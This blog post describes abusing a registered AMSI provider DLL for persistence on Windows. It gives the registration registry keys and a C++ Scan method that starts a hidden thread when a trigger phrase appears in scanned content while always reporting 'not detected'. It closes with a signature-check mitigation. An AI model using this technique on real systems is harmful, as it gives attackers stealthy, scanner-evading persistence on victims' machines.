This blog post explains how you can execute arbitrary code and maintain access to a Microsoft Windows system by leveraging AMSI provider.
AMSI
Windows Antimalware Scan Interface (AMSI) is an interface standard that allows applications and services to integrate with any antimalware product installed on the system. For example, if an AV vendor wants to intercept the powershell commands after they have been decoded they must have their scan engine interfaced with AMSI. The same for Assembly.Load.
AMSI is integrated into the following components of Windows 10.
- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
- PowerShell (scripts, interactive use, and dynamic code evaluation)
- Windows Script Host (wscript.exe and cscript.exe)
- JavaScript and VBScript
- Office VBA macros
AMSI Provider
AMSI Provider is the component responsible for the scan by the Antimaware product. This component must implement the IAntimalwareProvider interface which has the following methods
Method | Description |
---|---|
IAntimalwareProvider::CloseSession | Closes the session |
IAntimalwareProvider::DisplayName | The name of the antimalware provider to be displayed |
IAntimalwareProvider::Scan | Scan a stream of content |
To function as an AMSI provider, the component (DLL) must be registered as an in-process COM server. The registration process can be done in two ways:
-
Implementing the DllRegisterServer method into the DLL and register it with the regsvr32 command
-
Manual setting of the following registry keys
- HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\GUID (Default) REG_SZ “Provider description”
- HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\GUID\InprocServer32 (Default) REG_EXPAND_SZ “Path to Dll” - ThreadingModel REG_SZ “Both”
- HKLM\SOFTWARE\Microsoft\AMSI\Providers\ "GUID"
Administrator privileges are required to register a provider. Once registered, the Dll will be loaded into any process involving AMSI (powershell, clr, etc.) and the Scan method
HRESULT Scan(_In_ IAmsiStream* stream, _Out_ AMSI_RESULT* result)
will be invoked when a content is scanned
Using AMSI Provider for Persistence
So if we can provide a malicious DLL and register it as a provider, we can make a persistence that triggers a “scan request” for antimalware :). In addition, from the Scan method passes the content to be analyzed so in the case of powershell we will have the possibility to analyze the commands sent and then trigger the execution of the malware only in the case of specific words
An example of the implementation of the Scan method
HRESULT SampleAmsiProvider::Scan(_In_ IAmsiStream* stream, _Out_ AMSI_RESULT* result)
{
_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString");
_RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlEqualUnicodeString");
UNICODE_STRING myTriggerString1;
RtlInitUnicodeString(&myTriggerString1, L"Run my malware");
UNICODE_STRING myTriggerString2;
RtlInitUnicodeString(&myTriggerString2, L"\"Run my malware\"");
UNICODE_STRING myTriggerString3;
RtlInitUnicodeString(&myTriggerString3, L"'Run my malware'");
ULONG actualSize;
ULONGLONG contentSize;
if (!SUCCEEDED(stream->GetAttribute(AMSI_ATTRIBUTE_CONTENT_SIZE, sizeof(ULONGLONG), reinterpret_cast<PBYTE>(&contentSize), &actualSize)) &&
actualSize == sizeof(ULONGLONG))
{
*result = AMSI_RESULT_NOT_DETECTED;
return S_OK;
}
PBYTE contentAddress;
if (!SUCCEEDED(stream->GetAttribute(AMSI_ATTRIBUTE_CONTENT_ADDRESS, sizeof(PBYTE), reinterpret_cast<PBYTE>(&contentAddress), &actualSize)) &&
actualSize == sizeof(PBYTE))
{
*result = AMSI_RESULT_NOT_DETECTED;
return S_OK;
}
if (contentAddress)
{
if (contentSize < 50)
{
UNICODE_STRING myuni;
myuni.Buffer = (PWSTR)contentAddress;
myuni.Length = (USHORT)contentSize;
myuni.MaximumLength = (USHORT)contentSize;
if (RtlEqualUnicodeString(&myTriggerString1, &myuni, TRUE) || RtlEqualUnicodeString(&myTriggerString2, &myuni, TRUE) || RtlEqualUnicodeString(&myTriggerString3, &myuni, TRUE))
{
DWORD thId;
CreateThread(NULL, 0, MyThreadFunction, NULL, 0, &thId);
}
}
}
*result = AMSI_RESULT_NOT_DETECTED;
return S_OK;
}
Prevention
Starting with the Windows 10 1903 release, Microsoft introduced a way to enable Authenticode + Windows Hardware Quality Labs (WHQL) signature checks for providers. But this feature is not enabled by default. To enable Authenticode + Windows Hardware Quality Labs (WHQL) signature checks, set the key
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\AMSI\FeatureBits
to 0x2 (DWORD) .